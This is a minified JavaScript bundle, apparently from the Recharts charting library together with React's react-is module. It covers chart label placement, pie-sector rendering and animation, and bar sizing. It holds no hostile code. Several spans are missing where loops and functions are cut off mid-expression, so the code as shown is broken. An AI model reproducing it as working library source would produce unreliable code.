Ot(Ot({},B),l?{height:Math.max(l.y+l.height-(u+p),0),width:h}:{})}if(i==="left"){var q={x:x-M,y:u+p/2,textAnchor:P,verticalAnchor:"middle"};return Ot(Ot({},q),l?{width:Math.max(q.x-l.x,0),height:p}:{})}if(i==="right"){var U={x:x+S+M,y:u+p/2,textAnchor:R,verticalAnchor:"middle"};return Ot(Ot({},U),l?{width:Math.max(l.x+l.width-U.x,0),height:p}:{})}var V=l?{width:S,height:p}:{};return i==="insideLeft"?Ot({x:x+M,y:u+p/2,textAnchor:R,verticalAnchor:"middle"},V):i==="insideRight"?Ot({x:x+S-M,y:u+p/2,textAnchor:P,verticalAnchor:"middle"},V):i==="insideTop"?Ot({x:m+f/2,y:u+A,textAnchor:"middle",verticalAnchor:T},V):i==="insideBottom"?Ot({x:y+h/2,y:u+p-A,textAnchor:"middle",verticalAnchor:_},V):i==="insideTopLeft"?Ot({x:m+M,y:u+A,textAnchor:R,verticalAnchor:T},V):i==="insideTopRight"?Ot({x:m+f-M,y:u+A,textAnchor:P,verticalAnchor:T},V):i==="insideBottomLeft"?Ot({x:y+M,y:u+p-A,textAnchor:R,verticalAnchor:_},V):i==="insideBottomRight"?Ot({x:y+h-M,y:u+p-A,textAnchor:P,verticalAnchor:_},V):i&&typeof i=="object"&&(Oe(i.x)||Ea(i.x))&&(Oe(i.y)||Ea(i.y))?Ot({x:c+on(i.x,S),y:u+on(i.y,p),textAnchor:"end",verticalAnchor:"end"},V):Ot({x:w,y:u+p/2,textAnchor:"middle",verticalAnchor:"middle"},V)},Gte={angle:0,offset:5,zIndex:an.label,position:"middle",textBreakAll:!1};function vi(e){var t=pn(e,Gte),{viewBox:n,position:r,value:i,children:l,content:c,className:u="",textBreakAll:f,labelRef:h}=t,p=Hte(),m=WL(),y=r==="center"?m:p??m,x,S,w;if(n==null?x=y:mb(n)?x=n:x=pD(n),!x||Vt(i)&&Vt(l)&&!v.isValidElement(c)&&typeof c!="function")return null;var O=Ot(Ot({},t),{},{viewBox:x});if(v.isValidElement(c)){var{labelRef:A}=O,_=l2(O,Dte);return v.cloneElement(c,_)}if(typeof c=="function"){var{content:T}=O,j=l2(O,kte);if(S=v.createElement(c,j),v.isValidElement(S))return S}else S=qte(t);var M=ur(t);if(mb(x)){if(r==="insideStart"||r==="insideEnd"||r==="end")return Vte(t,r,S,M,x);w=Kte(x,t.offset,t.position)}else w=Yte(t,x);return v.createElement(Gr,{zIndex:t.zIndex},v.createElement(kp,va({ref:h,className:Ye("recharts-label",u)},M,w,{textAnchor:Nte(M.textAnchor)?M.textAnchor:w.textAnchor,breakAll:f}),S))}vi.displayName="Label";var Wte=(e,t,n)=>{if(!e)return null;var r={viewBox:t,labelRef:n};return e===!0?v.createElement(vi,va({key:"label-implicit"},r)):qr(e)?v.createElement(vi,va({key:"label-implicit",value:e},r)):v.isValidElement(e)?e.type===vi?v.cloneElement(e,Ot({key:"label-implicit"},r)):v.createElement(vi,va({key:"label-implicit",content:e},r)):I1(e)?v.createElement(vi,va({key:"label-implicit",content:e},r)):e&&typeof e=="object"?v.createElement(vi,va({},e,{key:"label-implicit"},r)):null};function Xte(e){var{label:t,labelRef:n}=e,r=WL();return Wte(t,r,n)||null}var Vy={},Ky={},c2;function Zte(){return c2||(c2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(Ky)),Ky}var Yy={},u2;function Qte(){return u2||(u2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(Yy)),Yy}var f2;function Jte(){return f2||(f2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Zte(),n=Qte(),r=dx();function i(l){if(r.isArrayLike(l))return t.last(n.toArray(l))}e.last=i})(Vy)),Vy}var Gy,d2;function ene(){return d2||(d2=1,Gy=Jte().last),Gy}var tne=ene();const nne=Vr(tne);var rne=["valueAccessor"],ane=["dataKey","clockWise","id","textBreakAll","zIndex"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?nne(e.value):e.value,XL=v.createContext(void 0),lne=XL.Provider,ZL=v.createContext(void 0),sne=ZL.Provider;function cne(){return v.useContext(XL)}function une(){return v.useContext(ZL)}function vd(e){var{valueAccessor:t=one}=e,n=h2(e,rne),{dataKey:r,clockWise:i,id:l,textBreakAll:c,zIndex:u}=n,f=h2(n,ane),h=cne(),p=une(),m=h||p;return!m||!m.length?null:v.createElement(Gr,{zIndex:u??an.label},v.createElement(fn,{className:"recharts-label-list"},m.map((y,x)=>{var S,w=Vt(r)?t(y,x):lt(y&&y.payload,r),O=Vt(l)?{}:{id:"".concat(l,"-").concat(x)};return v.createElement(vi,fh({key:"label-".concat(x)},ur(y),f,O,{fill:(S=n.fill)!==null&&S!==void 0?S:y.fill,parentViewBox:y.parentViewBox,value:w,textBreakAll:c,viewBox:y.viewBox,index:x,zIndex:0}))})))}vd.displayName="LabelList";function QL(e){var{label:t}=e;return t?t===!0?v.createElement(vd,{key:"labelList-implicit"}):v.isValidElement(t)||I1(t)?v.createElement(vd,{key:"labelList-implicit",content:t}):typeof t=="object"?v.createElement(vd,fh({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}var JL=e=>e.graphicalItems.polarItems,fne=G([dt,ou],o1),Lp=G([JL,pt,fne],s1),dne=G([Lp],c1),Ip=G([dne,Ep],u1),hne=G([Ip,pt,Lp],d1);G([Ip,pt,Lp],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var l,c=lt(r,(l=t.dataKey)!==null&&l!==void 0?l:i.dataKey);return{value:c,errorDomain:[]}})).filter(Boolean):t?.dataKey!=null?e.map(r=>({value:lt(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var p2=()=>{},pne=G([Ip,pt,Lp,jp,dt],v1),mne=G([pt,p1,m1,p2,pne,p2,Fe,dt],g1),eI=G([pt,Fe,Ip,hne,iu,dt,mne],y1),vne=G([eI,pt,rs],w1);G([pt,eI,vne,dt],O1);var gne={radiusAxis:{},angleAxis:{}},tI=An({name:"polarAxis",initialState:gne,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:Oue,removeRadiusAxis:Eue,addAngleAxis:Aue,removeAngleAxis:Cue}=tI.actions,yne=tI.reducer;function m2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function v2(e){for(var t=1;tt,z1=G([JL,Sne],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),One=[],$1=(e,t,n)=>n?.length===0?One:n,nI=G([Ep,z1,$1],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if(t?.data!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(l=>v2(v2({},t.presentationProps),l.props))),i!=null)return i}}),Ene=G([nI,z1,$1],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var l,c=lt(r,t.nameKey,t.name),u;return n!=null&&(l=n[i])!==null&&l!==void 0&&(l=l.props)!==null&&l!==void 0&&l.fill?u=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?u=r.fill:u=t.fill,{value:ip(c,t.dataKey),color:u,payload:r,type:t.legendType}})}),Ane=G([nI,z1,$1,kt],(e,t,n,r)=>{if(!(t==null||e==null))return Nre({offset:r,pieSettings:t,displayedData:e,cells:n})}),Wy={exports:{}},et={};var g2;function Cne(){if(g2)return et;g2=1;var e=Symbol.for("react.transitional.element"),t=Symbol.for("react.portal"),n=Symbol.for("react.fragment"),r=Symbol.for("react.strict_mode"),i=Symbol.for("react.profiler"),l=Symbol.for("react.consumer"),c=Symbol.for("react.context"),u=Symbol.for("react.forward_ref"),f=Symbol.for("react.suspense"),h=Symbol.for("react.suspense_list"),p=Symbol.for("react.memo"),m=Symbol.for("react.lazy"),y=Symbol.for("react.view_transition"),x=Symbol.for("react.client.reference");function S(w){if(typeof w=="object"&&w!==null){var O=w.$$typeof;switch(O){case e:switch(w=w.type,w){case n:case i:case r:case f:case h:case y:return w;default:switch(w=w&&w.$$typeof,w){case c:case u:case m:case p:return w;case l:return w;default:return O}}case t:return O}}}return et.ContextConsumer=l,et.ContextProvider=c,et.Element=e,et.ForwardRef=u,et.Fragment=n,et.Lazy=m,et.Memo=p,et.Portal=t,et.Profiler=i,et.StrictMode=r,et.Suspense=f,et.SuspenseList=h,et.isContextConsumer=function(w){return S(w)===l},et.isContextProvider=function(w){return S(w)===c},et.isElement=function(w){return typeof w=="object"&&w!==null&&w.$$typeof===e},et.isForwardRef=function(w){return S(w)===u},et.isFragment=function(w){return S(w)===n},et.isLazy=function(w){return S(w)===m},et.isMemo=function(w){return S(w)===p},et.isPortal=function(w){return S(w)===t},et.isProfiler=function(w){return S(w)===i},et.isStrictMode=function(w){return S(w)===r},et.isSuspense=function(w){return S(w)===f},et.isSuspenseList=function(w){return S(w)===h},et.isValidElementType=function(w){return typeof w=="string"||typeof w=="function"||w===n||w===i||w===r||w===f||w===h||typeof w=="object"&&w!==null&&(w.$$typeof===m||w.$$typeof===p||w.$$typeof===c||w.$$typeof===l||w.$$typeof===u||w.$$typeof===x||w.getModuleId!==void 0)},et.typeOf=S,et}var y2;function _ne(){return y2||(y2=1,Wy.exports=Cne()),Wy.exports}var Tne=_ne(),b2=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",x2=null,Xy=null,rI=e=>{if(e===x2&&Array.isArray(Xy))return Xy;var t=[];return v.Children.forEach(e,n=>{Vt(n)||(Tne.isFragment(n)?t=t.concat(rI(n.props.children)):t.push(n))}),Xy=t,x2=e,t};function B1(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>b2(i)):r=[b2(t)],rI(e).forEach(i=>{var l=co(i,"type.displayName")||co(i,"type.name");l&&r.indexOf(l)!==-1&&n.push(i)}),n}var Zy={},w2;function Nne(){return w2||(w2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const i=n[Symbol.toStringTag];return i==null||!Object.getOwnPropertyDescriptor(n,Symbol.toStringTag)?.writable?!1:n.toString()===`[object ${i}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(Zy)),Zy}var Qy,S2;function Mne(){return S2||(S2=1,Qy=Nne().isPlainObject),Qy}var jne=Mne();const Pne=Vr(jne);var O2,E2,A2,C2,_2;function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function N2(e){for(var t=1;t{var l=n-r,c;return c=gt(O2||(O2=fc(["M ",",",""])),e,t),c+=gt(E2||(E2=fc(["L ",",",""])),e+n,t),c+=gt(A2||(A2=fc(["L ",",",""])),e+n-l/2,t+i),c+=gt(C2||(C2=fc(["L ",",",""])),e+n-l/2-r,t+i),c+=gt(_2||(_2=fc(["L ",","," Z"])),e,t),c},Lne={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Ine=e=>{var t=pn(e,Lne),{x:n,y:r,upperWidth:i,lowerWidth:l,height:c,className:u}=t,{animationEasing:f,animationDuration:h,animationBegin:p,isUpdateAnimationActive:m}=t,y=v.useRef(null),[x,S]=v.useState(-1),w=v.useRef(i),O=v.useRef(l),A=v.useRef(c),_=v.useRef(n),T=v.useRef(r),j=gp(e,"trapezoid-");if(v.useEffect(()=>{if(y.current&&y.current.getTotalLength)try{var le=y.current.getTotalLength();le&&S(le)}catch{}},[]),n!==+n||r!==+r||i!==+i||l!==+l||c!==+c||i===0&&l===0||c===0)return null;var M=Ye("recharts-trapezoid",u);if(!m)return v.createElement("g",null,v.createElement("path",dh({},ur(t),{className:M,d:M2(n,r,i,l,c)})));var P=w.current,R=O.current,I=A.current,B=_.current,q=T.current,U="0px ".concat(x===-1?1:x,"px"),V="".concat(x,"px 0px"),oe=CD(["strokeDasharray"],h,f);return v.createElement(vp,{animationId:j,key:j,canBegin:x>0,duration:h,easing:f,isActive:m,begin:p},le=>{var ce=Rt(P,i,le),L=Rt(R,l,le),F=Rt(I,c,le),$=Rt(B,n,le),Z=Rt(q,r,le);y.current&&(w.current=ce,O.current=L,A.current=F,_.current=$,T.current=Z);var de=le>0?{transition:oe,strokeDasharray:V}:{strokeDasharray:U};return v.createElement("path",dh({},ur(t),{className:M,d:M2($,Z,ce,L,F),ref:y,style:N2(N2({},de),t.style)}))})},zne=["option","shapeType","activeClassName"];function $ne(e,t){if(e==null)return{};var n,r,i=Bne(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ft();return(i,l)=>c=>{e?.(i,l,c),r(vL({activeIndex:String(l),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},H1=e=>{var t=ft();return(n,r)=>i=>{e?.(n,r,i),t(QQ())}},q1=(e,t,n)=>{var r=ft();return(i,l)=>c=>{e?.(i,l,c),r(JQ({activeIndex:String(l),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function iI(e){var{tooltipEntrySettings:t}=e,n=ft(),r=Vn(),i=v.useRef(null);return v.useLayoutEffect(()=>{r||(i.current===null?n(GQ(t)):i.current!==t&&n(WQ({prev:i.current,next:t})),i.current=t)},[t,n,r]),v.useLayoutEffect(()=>()=>{i.current&&(n(XQ(i.current)),i.current=null)},[n]),null}function Yne(e){var{legendPayload:t}=e,n=ft(),r=Vn(),i=v.useRef(null);return v.useLayoutEffect(()=>{r||(i.current===null?n(SD(t)):i.current!==t&&n(OD({prev:i.current,next:t})),i.current=t)},[n,r,t]),v.useLayoutEffect(()=>()=>{i.current&&(n(ED(i.current)),i.current=null)},[n]),null}function Gne(e){var{legendPayload:t}=e,n=ft(),r=we(Fe),i=v.useRef(null);return v.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(SD(t)):i.current!==t&&n(OD({prev:i.current,next:t})),i.current=t)},[n,r,t]),v.useLayoutEffect(()=>()=>{i.current&&(n(ED(i.current)),i.current=null)},[n]),null}var Jy,Wne=()=>{var[e]=v.useState(()=>Ac("uid-"));return e},Xne=(Jy=Eh.useId)!==null&&Jy!==void 0?Jy:Wne;function Zne(e,t){var n=Xne();return t||(e?"".concat(e,"-").concat(n):n)}var Qne=v.createContext(void 0),oI=e=>{var{id:t,type:n,children:r}=e,i=Zne("recharts-".concat(n),t);return v.createElement(Qne.Provider,{value:i},r(i))},Jne={cartesianItems:[],polarItems:[]},lI=An({name:"graphicalItems",initialState:Jne,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:ct()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:ct()},removeCartesianGraphicalItem:{reducer(e,t){var n=Sr(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:ct()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:ct()},removePolarGraphicalItem:{reducer(e,t){var n=Sr(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:ct()}}}),{addCartesianGraphicalItem:ere,replaceCartesianGraphicalItem:tre,removeCartesianGraphicalItem:nre,addPolarGraphicalItem:rre,removePolarGraphicalItem:are}=lI.actions,ire=lI.reducer,ore=e=>{var t=ft(),n=v.useRef(null);return v.useLayoutEffect(()=>{n.current===null?t(ere(e)):n.current!==e&&t(tre({prev:n.current,next:e})),n.current=e},[t,e]),v.useLayoutEffect(()=>()=>{n.current&&(t(nre(n.current)),n.current=null)},[t]),null},lre=v.memo(ore);function sre(e){var t=ft();return v.useLayoutEffect(()=>(t(rre(e)),()=>{t(are(e))}),[t,e]),null}var cre=["key"],ure=["onMouseEnter","onClick","onMouseLeave"],fre=["id"],dre=["id"];function R2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function yt(e){for(var t=1;tB1(e.children,vo),[e.children]),n=we(r=>Ene(r,e.id,t));return n==null?null:v.createElement(Gne,{legendPayload:n})}var yre=v.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:l,fill:c,name:u,hide:f,tooltipType:h,id:p}=e,m={dataDefinedOnItem:r.map(y=>y.tooltipPayload),positions:r.map(y=>y.tooltipPosition),settings:{stroke:i,strokeWidth:l,fill:c,dataKey:t,nameKey:n,name:ip(u,t),hide:f,type:h,color:c,unit:"",graphicalItemId:p}};return v.createElement(iI,{tooltipEntrySettings:m})}),bre=(e,t)=>e>t?"start":eon(typeof t=="function"?t(e):t,n,n*.8),wre=(e,t,n)=>{var{top:r,left:i,width:l,height:c}=t,u=jD(l,c),f=i+on(e.cx,l,l/2),h=r+on(e.cy,c,c/2),p=on(e.innerRadius,u,0),m=xre(n,e.outerRadius,u),y=e.maxRadius||Math.sqrt(l*l+c*c)/2;return{cx:f,cy:h,innerRadius:p,outerRadius:m,maxRadius:y}},Sre=(e,t)=>{var n=tn(t-e),r=Math.min(Math.abs(t-e),360);return n*r};function Ore(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}var Ere=(e,t)=>{if(v.isValidElement(e))return v.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Ye("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=zp(t,cre);return v.createElement(Cx,Ei({},i,{type:"linear",className:n}))},Are=(e,t,n)=>{if(v.isValidElement(e))return v.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),v.isValidElement(r)))return r;var i=Ye("recharts-pie-label-text",Ore(e));return v.createElement(kp,Ei({},t,{alignmentBaseline:"middle",className:i}),r)};function Cre(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:l,dataKey:c}=n;if(!r||!i||!t)return null;var u=Ur(n),f=Ec(i),h=Ec(l),p=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,m=t.map((y,x)=>{var S=(y.startAngle+y.endAngle)/2,w=Nt(y.cx,y.cy,y.outerRadius+p,S),O=yt(yt(yt(yt({},u),y),{},{stroke:"none"},f),{},{index:x,textAnchor:bre(w.x,y.cx)},w),A=yt(yt(yt(yt({},u),y),{},{fill:"none",stroke:y.fill},h),{},{index:x,points:[Nt(y.cx,y.cy,y.outerRadius,S),w],key:"line"});return v.createElement(Gr,{zIndex:an.label,key:"label-".concat(y.startAngle,"-").concat(y.endAngle,"-").concat(y.midAngle,"-").concat(x)},v.createElement(fn,null,l&&Ere(l,A),Are(i,O,lt(y,c))))});return v.createElement(fn,{className:"recharts-pie-labels"},m)}function _re(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?v.createElement(QL,{label:i}):v.createElement(Cre,{sectors:t,props:n,showLabels:r})}function Tre(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:l,id:c}=e,u=we(mo),f=we(P1),h=we(zJ),{onMouseEnter:p,onClick:m,onMouseLeave:y}=i,x=zp(i,ure),S=U1(p,i.dataKey,c),w=H1(y),O=q1(m,i.dataKey,c);return t==null||t.length===0?null:v.createElement(v.Fragment,null,t.map((A,_)=>{if(A?.startAngle===0&&A?.endAngle===0&&t.length!==1)return null;var T=h==null||h===c,j=String(_)===u&&(f==null||i.dataKey===f)&&T,M=u?r:null,P=n&&j?n:M,R=yt(yt({},A),{},{stroke:A.stroke,tabIndex:-1,[cD]:_,[uD]:c});return v.createElement(fn,Ei({key:"sector-".concat(A?.startAngle,"-").concat(A?.endAngle,"-").concat(A.midAngle,"-").concat(_),tabIndex:-1,className:"recharts-pie-sector"},Wh(x,A,_),{onMouseEnter:S(A,_),onMouseLeave:w(A,_),onClick:O(A,_)}),v.createElement(aI,Ei({option:l??P,index:_,shapeType:"sector",isActive:j},R)))}))}function Nre(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:l}=e,{cornerRadius:c,startAngle:u,endAngle:f,dataKey:h,nameKey:p,tooltipType:m}=n,y=Math.abs(n.minAngle),x=Sre(u,f),S=Math.abs(x),w=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,O=r.filter(P=>lt(P,h,0)!==0).length,A=(S>=360?O:O-1)*w,_=S-O*y-A,T=r.reduce((P,R)=>{var I=lt(R,h,0);return P+(Oe(I)?I:0)},0),j;if(T>0){var M;j=r.map((P,R)=>{var I=lt(P,h,0),B=lt(P,p,R),q=wre(n,l,P),U=(Oe(I)?I:0)/T,V,oe=yt(yt({},P),i&&i[R]&&i[R].props);R?V=M.endAngle+tn(x)*w*(I!==0?1:0):V=u;var le=V+tn(x)*((I!==0?y:0)+U*_),ce=(V+le)/2,L=(q.innerRadius+q.outerRadius)/2,F=[{name:B,value:I,payload:oe,dataKey:h,type:m,graphicalItemId:n.id}],$=Nt(q.cx,q.cy,L,ce);return M=yt(yt(yt(yt({},n.presentationProps),{},{percent:U,cornerRadius:typeof c=="string"?parseFloat(c):c,name:B,tooltipPayload:F,midAngle:ce,middleRadius:L,tooltipPosition:$},oe),q),{},{value:I,dataKey:h,startAngle:V,endAngle:le,payload:oe,paddingAngle:tn(x)*w}),M})}return j}function Mre(e){var{showLabels:t,sectors:n,children:r}=e,i=v.useMemo(()=>!t||!n?[]:n.map(l=>({value:l.value,payload:l.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:l.cx,cy:l.cy,innerRadius:l.innerRadius,outerRadius:l.outerRadius,startAngle:l.startAngle,endAngle:l.endAngle,clockWise:!1},fill:l.fill})),[n,t]);return v.createElement(sne,{value:t?i:void 0},r)}function jre(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:l,animationBegin:c,animationDuration:u,animationEasing:f,activeShape:h,inactiveShape:p,onAnimationStart:m,onAnimationEnd:y}=t,x=gp(t,"recharts-pie-"),S=n.current,[w,O]=v.useState(!1),A=v.useCallback(()=>{typeof y=="function"&&y(),O(!1)},[y]),_=v.useCallback(()=>{typeof m=="function"&&m(),O(!0)},[m]);return v.createElement(Mre,{showLabels:!w,sectors:i},v.createElement(vp,{animationId:x,begin:c,duration:u,isActive:l,easing:f,onAnimationStart:_,onAnimationEnd:A,key:x},T=>{var j=[],M=i&&i[0],P=M?.startAngle;return i?.forEach((R,I)=>{var B=S&&S[I],q=I>0?co(R,"paddingAngle",0):0;if(B){var U=Rt(B.endAngle-B.startAngle,R.endAngle-R.startAngle,T),V=yt(yt({},R),{},{startAngle:P+q,endAngle:P+U+q});j.push(V),P=V.endAngle}else{var{endAngle:oe,startAngle:le}=R,ce=Rt(0,oe-le,T),L=yt(yt({},R),{},{startAngle:P+q,endAngle:P+ce+q});j.push(L),P=L.endAngle}}),n.current=j,v.createElement(fn,null,v.createElement(Tre,{sectors:j,activeShape:h,inactiveShape:p,allOtherPieProps:t,shape:t.shape,id:r}))}),v.createElement(_re,{showLabels:!w,sectors:i,props:t}),t.children)}var Pre={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:an.area};function Rre(e){var{id:t}=e,n=zp(e,fre),{hide:r,className:i,rootTabIndex:l}=e,c=v.useMemo(()=>B1(e.children,vo),[e.children]),u=we(p=>Ane(p,t,c)),f=v.useRef(null),h=Ye("recharts-pie",i);return r||u==null?(f.current=null,v.createElement(fn,{tabIndex:l,className:h})):v.createElement(Gr,{zIndex:e.zIndex},v.createElement(yre,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:u,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),v.createElement(fn,{tabIndex:l,className:h},v.createElement(jre,{props:yt(yt({},n),{},{sectors:u}),previousSectorsRef:f,id:t})))}function F1(e){var t=pn(e,Pre),{id:n}=t,r=zp(t,dre),i=Ur(r);return v.createElement(oI,{id:n,type:"pie"},l=>v.createElement(v.Fragment,null,v.createElement(sre,{type:"pie",id:l,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),v.createElement(gre,Ei({},r,{id:l})),v.createElement(Rre,Ei({},r,{id:l}))))}F1.displayName="Pie";function D2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function k2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),Yre=G([Kre,Pa,Ra],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),uI=()=>we(Yre),L2=(e,t,n)=>{var r=n??e;if(!Vt(r))return on(r,t,0)},Gre=(e,t,n)=>{var r={},i=e.filter(_p),l=e.filter(h=>h.stackId==null),c=i.reduce((h,p)=>(h[p.stackId]||(h[p.stackId]=[]),h[p.stackId].push(p),h),r),u=Object.entries(c).map(h=>{var[p,m]=h,y=m.map(S=>S.dataKey),x=L2(t,n,m[0].barSize);return{stackId:p,dataKeys:y,barSize:x}}),f=l.map(h=>{var p=[h.dataKey].filter(y=>y!=null),m=L2(t,n,h.barSize);return{stackId:void 0,dataKeys:p,barSize:m}});return[...u,...f]};function I2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function od(e){for(var t=1;tA+(_.barSize||0),0);m+=(l-1)*c,m>=n&&(m-=(l-1)*c,c=0),m>=n&&p>0&&(h=!0,p*=.9,m=l*p);var y=(n-m)/2>>0,x={offset:y-c,size:0};u=r.reduce((A,_)=>{var T,j={stackId:_.stackId,dataKeys:_.dataKeys,position:{offset:x.offset+x.size+c,size:h?p:(T=_.barSize)!==null&&T!==void 0?T:0}},M=[...A,j];return x=M[M.length-1].position,M},f)}else{var S=on(t,n,0,!0);n-2*S-(l-1)*c<=0&&(c=0);var w=(n-2*S-(l-1)*c)/l;w>1&&(w>>=0);var O=ht(i)?Math.min(w,i):w;u=r.reduce((A,_,T)=>[...A,{stackId:_.stackId,dataKeys:_.dataKeys,position:{offset:S+(w+c)*T+(w-O)/2,size:O}}],f)}return u}}var Jre=(e,t,n,r,i,l,c)=>{var u=Vt(c)?t:c,f=Qre(n,r,i!==l?i:l,e,u);return i!==l&&f!=null&&(f=f.map(h=>od(od({},h),{},{position:od(od({},h.position),{},{offset:h.position.offset-i/2})}))),f},eae=(e,t)=>{var n=a1(t);if(!(!e||n==null||t==null)){var{stackId:r}=t;if(r!=null){var i=e[r];if(i){var{stackedData:l}=i;if(l)return l.find(c=>c.key===n)}}}};function tae(e,t){return e&&typeof e=="object"&&"zIndex"in e&&typeof e.zIndex=="number"&&ht(e.zIndex)?e.zIndex:t}var fI=e=>{var{chartData:t}=e,n=ft(),r=Vn();return v.useEffect(()=>r?()=>{}:(n(KN(t)),()=>{n(KN(void 0))}),[t,n,r]),null},z2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},dI=An({name:"brush",initialState:z2,reducers:{setBrushSettings(e,t){return t.payload==null?z2:t.payload}}}),{setBrushSettings:Mue}=dI.actions,nae=dI.reducer;function rae(e,t,n){return(t=aae(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function aae(e){var t=iae(e,"string");return typeof t=="symbol"?t:t+""}function iae(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class V1{static create(t){return new V1(t)}constructor(t){this.scale=t}get domain(){return this.scale.domain}get range(){return this.scale.range}get rangeMin(){return this.range()[0]}get rangeMax(){return this.range()[1]}get bandwidth(){return 